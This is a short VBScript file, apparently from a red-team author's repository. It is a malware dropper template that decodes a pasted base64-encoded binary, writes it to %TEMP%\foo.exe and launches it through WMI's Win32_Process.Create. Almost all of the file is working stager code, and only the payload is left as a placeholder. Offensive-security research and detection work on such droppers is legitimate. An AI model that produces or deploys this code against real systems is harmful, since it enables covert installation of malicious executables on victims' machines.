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47 lines
1.3 KiB
Plaintext
47 lines
1.3 KiB
Plaintext
'
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' Example of dropping an embedded, base64 encoded binary file to the disk,
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' decoding it and then launching.
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'
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' Mariusz B. / mgeeky, <mb@binary-offensive.com>
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' (https://github.com/mgeeky)
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'
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saveFileAs = "%TEMP%\foo.exe"
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launchParameters = ""
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' =============================================================
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fileBuffer = "<PASTE-HERE-YOUR-BASE64-ENCODED-BLOB>"
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' =============================================================
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Function Base64Decode(ByVal vCode)
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Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
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oNode.dataType = "bin.base64"
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oNode.text = vCode
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Base64Decode = oNode.nodeTypedValue
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Set oNode = Nothing
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End Function
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Dim sh: Set sh = CreateObject("WScript.Shell")
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out = sh.ExpandEnvironmentStrings(saveFileAs)
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With CreateObject("Adodb.Stream")
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.Open
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.Type = 1
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.write Base64Decode(fileBuffer)
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.savetofile out, 2
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End With
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computer = "."
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Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
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& computer & "\root\cimv2")
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Set startup = wmi.Get("Win32_ProcessStartup")
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Set conf = startup.SpawnInstance_
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conf.ShowWindow = 12
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Set proc = GetObject("winmgmts:root\cimv2:Win32_Process")
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command = out & " " & launchParameters
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proc.Create command, Null, conf, intProcessID |